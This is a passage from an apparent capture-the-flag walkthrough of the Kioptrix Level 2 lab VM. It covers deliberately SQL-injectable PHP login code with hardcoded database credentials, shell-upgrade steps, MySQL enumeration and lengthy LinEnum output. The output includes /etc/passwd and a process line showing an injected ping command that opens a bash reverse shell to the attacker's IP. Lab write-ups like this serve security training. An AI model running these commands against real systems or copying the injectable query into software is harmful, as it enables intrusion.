&quot;john&quot;, &quot;hiroshima&quot;) or die(mysql_error());<br>        //print &quot;Connected to MySQL&lt;br /&gt;&quot;;<br>        mysql_select_db(&quot;webapp&quot;);<br><br>        if ($_POST[&#39;uname&#39;] != &quot;&quot;){<br>            $username = $_POST[&#39;uname&#39;];<br>            $password = $_POST[&#39;psw&#39;];<br>            $query = &quot;SELECT * FROM users WHERE username = &#39;$username&#39; AND password=&#39;$password&#39;&quot;;<br>            //print $query.&quot;&lt;br&gt;&quot;;<br>            $result = mysql_query($query);<br><br>            $row = mysql_fetch_array($result);<br>            //print &quot;ID: &quot;.$row[&#39;id&#39;].&quot;&lt;br /&gt;&quot;;<br>        }<br><br>?&gt;<br>&lt;html&gt;<br>&lt;body&gt;<br>&lt;?php<br>if ($row[&#39;id&#39;]==&quot;&quot;){<br>?&gt;</pre><p>As shown in the previous code we’ve got MySQL credentials:</p><p>username → john</p><p>password → hiroshima</p><p>Now to connect to the database we need to upgrade our shell to be an interactive shell.</p><p>Step 1: run this command:</p><pre>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Step 2: After that send the shell process to the background:</p><pre>Ctrl + z</pre><p>Step 3: type this command to send special characters to the target machine and foreground the shell process:</p><pre>stty raw -echo; fg</pre><p>Step 4: assign these values to “TERM” and “SHELL” environment variables</p><pre>export TERM=xterm<br>export SHELL=bash</pre><p>After having an interactive shell write the next command to connect to MySQL database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*lTlbvZFJF7MxKDpTZRlmxA.png" /></figure><p>List the databases to see if there is something useful to check:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*QnHTn9gAVpw-61SLpo02GA.png" /></figure><p>There are three databases let’s check if any useful data exist there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*KmiU_h3b77z34nFSuXMaFg.png" /></figure><p>To display the content of the “user” table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*pp1nCAslKrWjO_TbkX8RxA.png" /></figure><p>As the previous screenshot shows, we have two users, “root” and “john”. The password of both of them is the same is the same. It is hashed but there is no need to try to crack it because we already know the password of john from the web page source code which is “hiroshima”.</p><p>Now we will login with the root user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*emPLAO4kiKl1uCUK0reQhQ.png" /></figure><p>I thought about <a href="https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf">User Defined Functions</a> to elevate our privilege so I searched for variables that have the “plugin” word in them likeplugin_dir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*AH1zQ_Trj3QU0FaB_VnDZQ.png" /></figure><p>Couldn’t find anything so MySQL was a rabbit hole.</p><p>let’s enumerate the system for other techniques. But this time we are going to use “<a href="https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh">LinEnum.sh</a>” It’s already on my Kali machine</p><p>and from the target’s shell I’ll get the file “LinEnum.sh” using “wget”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*ZGoz4fsjQE3OplDf6F3g2g.png" /></figure><p>Next, we should add execute permission to the file to run it.</p><pre>chmod +x LinEnum.sh</pre><p>And run the script:</p><pre>#########################################################<br># Local Linux Enumeration &amp; Privilege Escalation Script #<br>#########################################################<br># www.rebootuser.com<br># version 0.982<br><br>[-] Debug Info<br>[+] Thorough tests = Disabled<br><br><br>Scan started at:<br>Sat May 25 03:32:14 EDT 2024<br><br>### SYSTEM ##############################################<br>[-] Kernel information:<br>Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux<br><br><br>[-] Kernel information (continued):<br>Linux version 2.6.9-55.EL (mockbuild@builder6.centos.org) (gcc version 3.4.6 20060404 (Red Hat 3.4.6-8)) #1 Wed May 2 13:52:16 EDT 2007<br><br><br>[-] Specific release information:<br>CentOS release 4.5 (Final)<br><br><br>[-] Hostname:<br>kioptrix.level2<br><br><br>### USER/GROUP ##########################################<br>[-] Current user/group info:<br>uid=48(apache) gid=48(apache) groups=48(apache)<br><br><br>[-] Who else is logged on:<br> 03:32:14 up  2:50,  0 users,  load average: 0.00, 0.00, 0.00<br>USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT<br><br><br>[-] Group memberships:<br>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)<br>uid=1(bin) gid=1(bin) groups=1(bin),2(daemon),3(sys)<br>uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)<br>uid=3(adm) gid=4(adm) groups=4(adm),3(sys)<br>uid=4(lp) gid=7(lp) groups=7(lp)<br>uid=5(sync) gid=0(root) groups=0(root)<br>uid=6(shutdown) gid=0(root) groups=0(root)<br>uid=7(halt) gid=0(root) groups=0(root)<br>uid=8(mail) gid=12(mail) groups=12(mail)<br>uid=9(news) gid=13(news) groups=13(news)<br>uid=10(uucp) gid=14(uucp) groups=14(uucp)<br>uid=11(operator) gid=0(root) groups=0(root)<br>uid=12(games) gid=100(users) groups=100(users)<br>uid=13(gopher) gid=30(gopher) groups=30(gopher)<br>uid=14(ftp) gid=50(ftp) groups=50(ftp)<br>uid=99(nobody) gid=99(nobody) groups=99(nobody)<br>uid=81(dbus) gid=81(dbus) groups=81(dbus)<br>uid=69(vcsa) gid=69(vcsa) groups=69(vcsa)<br>uid=37(rpm) gid=37(rpm) groups=37(rpm)<br>uid=68(haldaemon) gid=68(haldaemon) groups=68(haldaemon)<br>uid=34(netdump) gid=34(netdump) groups=34(netdump)<br>uid=28(nscd) gid=28(nscd) groups=28(nscd)<br>uid=74(sshd) gid=74(sshd) groups=74(sshd)<br>uid=32(rpc) gid=32(rpc) groups=32(rpc)<br>uid=47(mailnull) gid=47(mailnull) groups=47(mailnull)<br>uid=51(smmsp) gid=51(smmsp) groups=51(smmsp)<br>uid=29(rpcuser) gid=29(rpcuser) groups=29(rpcuser)<br>uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)<br>uid=77(pcap) gid=77(pcap) groups=77(pcap)<br>uid=48(apache) gid=48(apache) groups=48(apache)<br>uid=23(squid) gid=23(squid) groups=23(squid)<br>uid=67(webalizer) gid=67(webalizer) groups=67(webalizer)<br>uid=43(xfs) gid=43(xfs) groups=43(xfs)<br>uid=38(ntp) gid=38(ntp) groups=38(ntp)<br>uid=66(pegasus) gid=65(pegasus) groups=65(pegasus)<br>uid=27(mysql) gid=27(mysql) groups=27(mysql)<br>uid=500(john) gid=500(john) groups=500(john)<br>uid=501(harold) gid=501(harold) groups=501(harold)<br><br><br>[-] It looks like we have some admin users:<br>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)<br>uid=2(daemon) gid=2(daemon) groups=2(daemon),1(bin),4(adm),7(lp)<br>uid=3(adm) gid=4(adm) groups=4(adm),3(sys)<br><br><br>[-] Contents of /etc/passwd:<br>root:x:0:0:root:/root:/bin/bash<br>bin:x:1:1:bin:/bin:/sbin/nologin<br>daemon:x:2:2:daemon:/sbin:/sbin/nologin<br>adm:x:3:4:adm:/var/adm:/sbin/nologin<br>lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br>sync:x:5:0:sync:/sbin:/bin/sync<br>shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br>halt:x:7:0:halt:/sbin:/sbin/halt<br>mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br>news:x:9:13:news:/etc/news:<br>uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin<br>operator:x:11:0:operator:/root:/sbin/nologin<br>games:x:12:100:games:/usr/games:/sbin/nologin<br>gopher:x:13:30:gopher:/var/gopher:/sbin/nologin<br>ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin<br>nobody:x:99:99:Nobody:/:/sbin/nologin<br>dbus:x:81:81:System message bus:/:/sbin/nologin<br>vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin<br>rpm:x:37:37::/var/lib/rpm:/sbin/nologin<br>haldaemon:x:68:68:HAL daemon:/:/sbin/nologin<br>netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash<br>nscd:x:28:28:NSCD Daemon:/:/sbin/nologin<br>sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin<br>rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin<br>mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin<br>smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin<br>rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin<br>nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin<br>pcap:x:77:77::/var/arpwatch:/sbin/nologin<br>apache:x:48:48:Apache:/var/www:/sbin/nologin<br>squid:x:23:23::/var/spool/squid:/sbin/nologin<br>webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin<br>xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin<br>ntp:x:38:38::/etc/ntp:/sbin/nologin<br>pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin<br>mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash<br>john:x:500:500::/home/john:/bin/bash<br>harold:x:501:501::/home/harold:/bin/bash<br><br><br>[-] Super user account(s):<br>root<br><br><br>[-] Are permissions on /home directories lax:<br>total 24K<br>drwxr-xr-x   4 root   root   4.0K Oct 12  2009 .<br>drwxr-xr-x  23 root   root   4.0K May 25 00:41 ..<br>drwx------   2 harold harold 4.0K Oct 12  2009 harold<br>drwx------   2 john   john   4.0K Oct  8  2009 john<br><br><br>### ENVIRONMENTAL #######################################<br>[-] Environment information:<br>CONSOLE=/dev/console<br>SELINUX_INIT=YES<br>TERM=linux<br>INIT_VERSION=sysvinit-2.85<br>PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin<br>runlevel=3<br>RUNLEVEL=3<br>PWD=/tmp<br>LANG=en_US.UTF-8<br>previous=N<br>PREVLEVEL=N<br>SHLVL=5<br>HOME=/<br>_=/bin/env<br><br><br>[-] SELinux seems to be present:<br>SELinux status:         disabled<br><br><br>[-] Path information:<br>/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin<br>drwxr-xr-x  2 root root  4096 May 25 01:47 /bin<br>drwxr-xr-x  2 root root 12288 Oct  7  2009 /sbin<br>drwxr-xr-x  2 root root 36864 May 25 01:47 /usr/bin<br>drwxr-xr-x  2 root root 12288 May 25 01:47 /usr/sbin<br>drwxr-xr-x  2 root root  4096 Oct  7  2009 /usr/X11R6/bin<br><br><br>[-] Available shells:<br>/bin/sh<br>/bin/bash<br>/sbin/nologin<br>/bin/ash<br>/bin/bsh<br>/bin/ksh<br>/usr/bin/ksh<br>/usr/bin/pdksh<br>/bin/tcsh<br>/bin/csh<br>/bin/zsh<br><br><br>[-] Current umask value:<br>u=rwx,g=rx,o=rx<br>0022<br><br><br>[-] Password and storage information:<br>PASS_MAX_DAYS   99999<br>PASS_MIN_DAYS   0<br>PASS_WARN_AGE   7<br><br><br>### JOBS/TASKS ##########################################<br>[-] Cron jobs:<br>-rw-r--r--  1 root root    0 Oct  7  2009 /etc/cron.deny<br>-rw-r--r--  1 root root  255 Feb 21  2005 /etc/crontab<br><br>/etc/cron.d:<br>total 24<br>drwxr-xr-x   2 root root  4096 Jul 12  2006 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br><br>/etc/cron.daily:<br>total 108<br>drwxr-xr-x   2 root root  4096 Oct  7  2009 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br>lrwxrwxrwx   1 root root    28 Oct  7  2009 00-logwatch -&gt; ../log.d/scripts/logwatch.pl<br>-rwxr-xr-x   1 root root   418 Sep 14  2006 00-makewhatis.cron<br>-rwxr-xr-x   1 root root   135 Feb 21  2005 00webalizer<br>-rwxr-xr-x   1 root root   276 Feb 21  2005 0anacron<br>-rw-r--r--   1 root root   797 Feb 21  2005 certwatch<br>-rwxr-xr-x   1 root root   180 Oct 20  2006 logrotate<br>-rwxr-xr-x   1 root root  2133 Dec  1  2004 prelink<br>-rwxr-xr-x   1 root root   104 May  4  2007 rpm<br>-rwxr-xr-x   1 root root   121 Aug 21  2005 slocate.cron<br>-rwxr-xr-x   1 root root   286 Feb 21  2005 tmpwatch<br>-rwxr-xr-x   1 root root   158 May  5  2007 yum.cron<br><br>/etc/cron.hourly:<br>total 24<br>drwxr-xr-x   2 root root  4096 Feb 21  2005 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br><br>/etc/cron.monthly:<br>total 32<br>drwxr-xr-x   2 root root  4096 Oct  7  2009 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br>-rwxr-xr-x   1 root root   278 Feb 21  2005 0anacron<br><br>/etc/cron.weekly:<br>total 48<br>drwxr-xr-x   2 root root  4096 Oct  7  2009 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br>-rwxr-xr-x   1 root root   414 Sep 14  2006 00-makewhatis.cron<br>-rwxr-xr-x   1 root root   277 Feb 21  2005 0anacron<br>-rwxr-xr-x   1 root root    90 May  5  2007 yum.cron<br><br><br>[-] Crontab contents:<br>SHELL=/bin/bash<br>PATH=/sbin:/bin:/usr/sbin:/usr/bin<br>MAILTO=root<br>HOME=/<br><br># run-parts<br>01 * * * * root run-parts /etc/cron.hourly<br>02 4 * * * root run-parts /etc/cron.daily<br>22 4 * * 0 root run-parts /etc/cron.weekly<br>42 4 1 * * root run-parts /etc/cron.monthly<br><br><br>[-] Anacron jobs and associated file permissions:<br>-rw-r--r--  1 root root 329 Feb 21  2005 /etc/anacrontab<br># /etc/anacrontab: configuration file for anacron<br><br># See anacron(8) and anacrontab(5) for details.<br><br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br>MAILTO=root<br><br>1       65      cron.daily              run-parts /etc/cron.daily<br>7       70      cron.weekly             run-parts /etc/cron.weekly<br>30      75      cron.monthly            run-parts /etc/cron.monthly<br><br><br>[-] When were jobs last executed (/var/spool/anacron contents):<br>total 28<br>drwxr-xr-x   2 root root 4096 Oct  7  2009 .<br>drwxr-xr-x  14 root root 4096 Oct  7  2009 ..<br>-rw-------   1 root root    9 May 25 01:47 cron.daily<br>-rw-------   1 root root    9 May 25 01:57 cron.monthly<br>-rw-------   1 root root    9 May 25 01:52 cron.weekly<br><br><br>### NETWORKING  ##########################################<br>[-] Network and IP info:<br>eth0      Link encap:Ethernet  HWaddr 00:0C:29:53:19:4C  <br>          inet addr:192.168.109.146  Bcast:192.168.109.255  Mask:255.255.255.0<br>          inet6 addr: fe80::20c:29ff:fe53:194c/64 Scope:Link<br>          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br>          RX packets:69986 errors:0 dropped:0 overruns:0 frame:0<br>          TX packets:66921 errors:0 dropped:0 overruns:0 carrier:0<br>          collisions:0 txqueuelen:1000 <br>          RX bytes:4434088 (4.2 MiB)  TX bytes:3824872 (3.6 MiB)<br>          Interrupt:177 Base address:0x2000 <br><br>lo        Link encap:Local Loopback  <br>          inet addr:127.0.0.1  Mask:255.0.0.0<br>          inet6 addr: ::1/128 Scope:Host<br>          UP LOOPBACK RUNNING  MTU:16436  Metric:1<br>          RX packets:40 errors:0 dropped:0 overruns:0 frame:0<br>          TX packets:40 errors:0 dropped:0 overruns:0 carrier:0<br>          collisions:0 txqueuelen:0 <br>          RX bytes:3206 (3.1 KiB)  TX bytes:3206 (3.1 KiB)<br><br>sit0      Link encap:IPv6-in-IPv4  <br>          NOARP  MTU:1480  Metric:1<br>          RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br>          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0<br>          collisions:0 txqueuelen:0 <br>          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)<br><br><br>[-] ARP history:<br>? (192.168.109.131) at 00:0C:29:31:66:3E [ether] on eth0<br>? (192.168.109.254) at 00:50:56:F4:20:16 [ether] on eth0<br>? (192.168.109.254) at 00:50:56:F4:20:16 [ether] on eth0<br><br><br>[-] Nameserver(s):<br>nameserver 192.168.109.2<br><br><br>[-] Default route:<br>default         192.168.109.2   0.0.0.0         UG    0      0        0 eth0<br><br><br>[-] Listening TCP:<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   <br>tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      -                   <br>tcp        0      0 0.0.0.0:622                 0.0.0.0:*                   LISTEN      -                   <br>tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      -                   <br>tcp        0      0 0.0.0.0:631                 0.0.0.0:*                   LISTEN      -                   <br>tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      -                   <br>tcp        0      0 :::80                       :::*                        LISTEN      9877/sh             <br>tcp        0      0 :::22                       :::*                        LISTEN      -                   <br>tcp        0      0 :::443                      :::*                        LISTEN      9877/sh             <br><br><br>[-] Listening UDP:<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   <br>udp        0      0 0.0.0.0:68                  0.0.0.0:*                               -                   <br>udp        0      0 0.0.0.0:616                 0.0.0.0:*                               -                   <br>udp        0      0 0.0.0.0:619                 0.0.0.0:*                               -                   <br>udp        0      0 0.0.0.0:111                 0.0.0.0:*                               -                   <br>udp        0      0 0.0.0.0:631                 0.0.0.0:*                               -                   <br><br><br>### SERVICES #############################################<br>[-] Running processes:<br>USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND<br>root         1  0.0  0.4  3484  548 ?        S    00:41   0:01 init [3]                                   <br>root         2  0.0  0.0     0    0 ?        SN   00:41   0:00 [ksoftirqd/0]<br>root         3  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [events/0]<br>root         4  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [khelper]<br>root         5  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [kacpid]<br>root        82  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [kblockd/0]<br>root        83  0.0  0.0     0    0 ?        S    00:41   0:00 [khubd]<br>root       100  0.0  0.0     0    0 ?        S    00:41   0:00 [pdflush]<br>root       101  0.0  0.0     0    0 ?        S    00:41   0:00 [pdflush]<br>root       102  0.0  0.0     0    0 ?        S    00:41   0:00 [kswapd0]<br>root       103  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [aio/0]<br>root       249  0.0  0.0     0    0 ?        S    00:41   0:00 [kseriod]<br>root       482  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [ata/0]<br>root       483  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [ata_aux]<br>root       498  0.0  0.0     0    0 ?        S    00:41   0:00 [kjournald]<br>root      1703  0.0  0.3  3340  436 ?        S&lt;s  00:41   0:00 udevd<br>root      1741  0.0  0.0     0    0 ?        S    00:41   0:00 [shpchpd_event]<br>root      1820  0.0  0.0     0    0 ?        S&lt;   00:41   0:00 [kauditd]<br>root      1931  0.0  0.0     0    0 ?        S    00:41   0:00 [kjournald]<br>root      2398  0.0  0.4  2284  540 ?        Ss   00:42   0:00 syslogd -m 0<br>root      2402  0.0  0.3  1964  388 ?        Ss   00:42   0:00 klogd -x<br>rpc       2541  0.0  0.4  2168  596 ?        Ss   00:42   0:00 portmap<br>rpcuser   2560  0.0  0.6  3232  824 ?        Ss   00:42   0:00 rpc.statd<br>root      2586  0.0  0.2  5216  368 ?        Ss   00:42   0:00 rpc.idmapd<br>root      2658  0.0  0.3  1956  440 ?        Ss   00:42   0:00 /usr/sbin/acpid<br>root      2719  0.0  0.9  4944 1140 ?        Ss   00:42   0:00 /usr/sbin/sshd<br>root      2755  0.0  0.6  2752  768 ?        Ss   00:42   0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid<br>root      2773  0.0  1.4  9124 1860 ?        Ss   00:42   0:00 sendmail: accepting connections<br>smmsp     2783  0.0  1.2  7432 1636 ?        Ss   00:42   0:00 sendmail: Queue runner@01:00:00 for /var/spool/clientmqueue<br>root      2794  0.0  0.2  2372  352 ?        Ss   00:42   0:00 gpm -m /dev/input/mice -t imps2<br>root      2803  0.0  0.7  4740  940 ?        Ss   00:42   0:00 crond<br>xfs       2824  0.0  1.0  4000 1296 ?        Ss   00:42   0:00 xfs -droppriv -daemon<br>root      2841  0.0  0.3  2704  428 ?        Ss   00:42   0:00 /usr/sbin/atd<br>dbus      2850  0.0  0.6  3052  800 ?        Ss   00:42   0:00 dbus-daemon-1 --system<br>root      2859  0.0  4.5  9132 5760 ?        Ss   00:42   0:00 hald<br>root      3115  0.0  0.5  2228  680 ?        Ss   00:42   0:00 dhclient<br>root      3117  0.0  8.1 22180 10268 ?       Ss   00:42   0:00 httpd<br>root      3143  0.0  0.9  4988 1236 ?        S    00:42   0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --err-log=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid<br>mysql     3188  0.0 14.8 125796 18756 ?      Sl   00:42   0:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock<br>root      3214  0.0  0.3  2404  388 tty1     Ss+  00:42   0:00 /sbin/mingetty tty1<br>root      3215  0.0  0.3  2292  388 tty2     Ss+  00:42   0:00 /sbin/mingetty tty2<br>root      3216  0.0  0.3  2004  388 tty3     Ss+  00:42   0:00 /sbin/mingetty tty3<br>root      3217  0.0  0.3  2316  388 tty4     Ss+  00:42   0:00 /sbin/mingetty tty4<br>root      3218  0.0  0.3  2548  384 tty5     Ss+  00:42   0:00 /sbin/mingetty tty5<br>root      3219  0.0  0.3  3372  388 tty6     Ss+  00:42   0:00 /sbin/mingetty tty6<br>root      4335  0.0  1.7  9120 2260 ?        SNs  01:47   0:00 cupsd<br>apache    4377  0.0  5.6 22328 7168 ?        S    01:47   0:00 httpd<br>apache    4378  0.0  5.7 22392 7200 ?        S    01:47   0:00 httpd<br>apache    4379  0.0  5.6 22328 7140 ?        S    01:47   0:00 httpd<br>apache    4380  0.0  5.6 22312 7144 ?        S    01:47   0:00 httpd<br>apache    4381  0.0  5.7 22408 7180 ?        S    01:47   0:00 httpd<br>apache    4382  0.0  5.6 22312 7152 ?        S    01:47   0:00 httpd<br>apache    4383  0.0  5.6 22316 7132 ?        S    01:47   0:00 httpd<br>apache    4384  0.0  5.6 22420 7156 ?        S    01:47   0:00 httpd<br>apache    9877  0.0  0.8  4968 1124 ?        S    03:16   0:00 sh -c ping -c 3 127.0.0.1; bash -i &gt;&amp; /dev/tcp/192.168.109.131/7702 0&gt;&amp;1<br>apache    9879  0.0  1.0  5828 1288 ?        S    03:16   0:00 bash -i<br>apache   10252  0.0  1.1  4968 1416 ?        S    03:32   0:00 /bin/bash ./LinEnum.sh<br>apache   10253  0.0  0.6  4996  860 ?        R    03:32   0:00 /bin/bash ./LinEnum.sh<br>apache   10255  0.0  0.3  4448  452 ?        S    03:32   0:00 tee -a<br>apache   10452  0.0  0.6  4996  804 ?        S    03:32   0:00 /bin/bash ./LinEnum.sh<br>apache   10453  0.0  0.6  2488  792 ?        R    03:32   0:00 ps aux<br><br><br>[-] Process binaries and associated permissions (from above list):<br>-rwxr-xr-x  1 root root  616248 Aug 13  2006 /bin/bash<br>lrwxrwxrwx  1 root root       4 Oct  7  2009 /bin/sh -&gt; bash<br>-rwxr-xr-x  1 root root   12772 Feb 21  2005 /sbin/mingetty<br>-rwxr-xr-x  1 root root 6036288 Jul 25  2008 /usr/libexec/mysqld<br>-rwxr-x---  1 root root   22540 Feb 21  2005 /usr/sbin/acpid<br>-rwxr-xr-x  1 root root   19544 Apr 26  2006 /usr/sbin/atd<br>-rwxr-xr-x  1 root root  313008 May  2  2007 /usr/sbin/sshd<br><br><br>[-] Contents of /etc/xinetd.conf:<br>#<br># Simple configuration file for xinetd<br>#<br># Some defaults, and include /etc/xinetd.d/<br><br>defaults<br>{<br>        instances               = 60<br>        log_type                = SYSLOG authpriv<br>        log_on_success          = HOST PID<br>        log_on_failure          = HOST<br>        cps                     = 25 30<br>}<br><br>includedir /etc/xinetd.d<br><br><br>[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:<br>total 144<br>drwxr-xr-x   2 root root  4096 Oct  7  2009 .<br>drwxr-xr-x  80 root root 12288 May 25 01:47 ..<br>-rw-r--r--   1 root root   563 Aug 21  2005 chargen<br>-rw-r--r--   1 root root   580 Aug 21  2005 chargen-udp<br>-rwxr-xr-x   1 root root   239 May  3  2007 cups-lpd<br>-rw-r--r--   1 root root   419 Aug 21  2005 daytime<br>-rw-r--r--   1 root root   438 Aug 21  2005 daytime-udp<br>-rw-r--r--   1 root root   341 Aug 21  2005 echo<br>-rw-r--r--   1 root root   360 Aug 21  2005 echo-udp<br>-rw-r--r--   1 root root   323 May  3  2007 eklogin<br>-rw-r--r--   1 root root   326 May  3  2007 gssftp<br>-rw-r--r--   1 root root   310 May  3  2007 klogin<br>-rw-r--r--   1 root root   323 May  3  2007 krb5-telnet<br>-rw-r--r--   1 root root   308 May  3  2007 kshell<br>-rw-r--r--   1 root root   317 Feb 21  2005 rsync<br>-rw-r--r--   1 root root   497 Aug 21  2005 time<br>-rw-r--r--   1 root root   518 Aug 21  2005 time-udp<br><br><br>[-] /etc/init.d/ binary permissions:<br>lrwxrwxrwx  1 root root 11 Oct  7  2009 /etc/init.d -&gt; rc.d/init.d<br><br><br>[-] /etc/rc.d/init.d binary permissions:<br>total 712<br>drwxr-xr-x   2 root root     4096 Oct  8  2009 .<br>drwxr-xr-x  10 root root     4096 Oct  7  2009 ..<br>-rwxr-xr-x   1 root root     1128 Feb 21  2005 acpid<br>-rwxr-xr-x   1 root root      834 Feb 21  2005 anacron<br>-rwxr-xr-x   1 root root     1429 Feb 21  2005 apmd<br>-rwxr-xr-x   1 root root     4404 Feb 21  2005 arptables_jf<br>-rwxr-xr-x   1 root root     1176 Apr 26  2006 atd<br>-rwxr-xr-x   1 root root     2781 May  2  2007 auditd<br>-rwxr-xr-x   1 root root    16544 May  3  2007 autofs<br>-rwxr-xr-x   1 root root     1368 Feb 21  2005 bluetooth<br>-rwxr-xr-x   1 root root     1355 May  2  2007 cpuspeed<br>-rwxr-xr-x   1 root root     1904 Jul 12  2006 crond<br>-rwxr-xr-x   1 root root     2312 May  3  2007 cups<br>-rwxr-xr-x   1 root root     1502 Feb 21  2005 dc_client<br>-rwxr-xr-x   1 root root     1344 Feb 21  2005 dc_server<br>-rwxr-xr-x   1 root root    16898 May  2  2007 diskdump<br>-rwxr-xr-x   1 root root      968 Feb 21  2005 dund<br>-rwxr-xr-x   1 root root    10799 Nov 20  2006 functions<br>-rwxr-xr-x   1 root root     1778 May 17  2006 gpm<br>-rwxr-xr-x   1 root root     1388 May  2  2007 haldaemon<br>-rwxr-xr-x   1 root root     6028 Jan 15  2007 halt<br>-rwxr-xr-x   1 root root     1001 Feb 21  2005 hidd<br>-rwxr-xr-x   1 root root     3201 May  4  2007 httpd<br>-rwxr-xr-x   1 root root    13763 May  3  2007 ipmi<br>-rwxr-xr-x   1 root root     7135 Feb 21  2005 iptables<br>-rwxr-xr-x   1 root root     1487 Feb 21  2005 irda<br>-rwxr-xr-x   1 root root     1949 May  2  2007 irqbalance<br>-rwxr-xr-x   1 root root     6183 Feb 21  2005 isdn<br>-rwxr-xr-x   1 root root      200 Sep 27  2006 keytable<br>-rwxr-xr-x   1 root root      652 Sep  3  2003 killall<br>-rwxr-xr-x   1 root root     2095 May  2  2007 kudzu<br>-rwxr-xr-x   1 root root     1906 May  5  2007 lvm2-monitor<br>-rwxr-xr-x   1 root root     1700 May  3  2007 mdmonitor<br>-rwxr-xr-x   1 root root     1613 May  3  2007 mdmpd<br>-rwxr-xr-x   1 root root     1746 May  3  2007 messagebus<br>-rwxr-xr-x   1 root root     1731 May  2  2007 microcode_ctl<br>-rwxr-xr-x   1 root root     4235 Jul 25  2008 mysqld<br>-rwxr-xr-x   1 root root    12198 May  2  2007 netdump<br>-rwxr-xr-x   1 root root     7422 Nov 20  2006 netfs<br>-rwxr-xr-x   1 root root     1303 May  2  2007 netplugd<br>-rwxr-xr-x   1 root root     8543 Apr 18  2006 network<br>-rwxr-xr-x   1 root root     1454 May  3  2007 NetworkManager<br>-rwxr-xr-x   1 root root     4344 May  3  2007 nfs<br>-rwxr-xr-x   1 root root     3274 May  3  2007 nfslock<br>-rwxr-xr-x   1 root root     2171 May  2  2007 nscd<br>-rwxr-xr-x   1 root root     3586 May  5  2007 ntpd<br>-rwxr-xr-x   1 root root    17713 May  3  2007 openibd<br>-rwxr-xr-x   1 root root     1144 Feb 21  2005 pand<br>-rwxr-xr-x   1 root root     4431 Mar  8  2006 pcmcia<br>-rwxr-xr-x   1 root root     1877 Feb 21  2005 portmap<br>-rwxr-xr-x   1 root root     1021 Jan 17  2007 psacct<br>-rwxr-xr-x   1 root root     2404 Oct 18  2004 rawdevices<br>-rwxr-xr-x   1 root root     1387 May  2  2007 rdisc<br>-rwxr-xr-x   1 root root      790 May  2  2007 readahead<br>-rwxr-xr-x   1 root root      795 May  2  2007 readahead_early<br>-rwxr-xr-x   1 root root     1777 May  3  2007 rhnsd<br>-rwxr-xr-x   1 root root     2177 May  3  2007 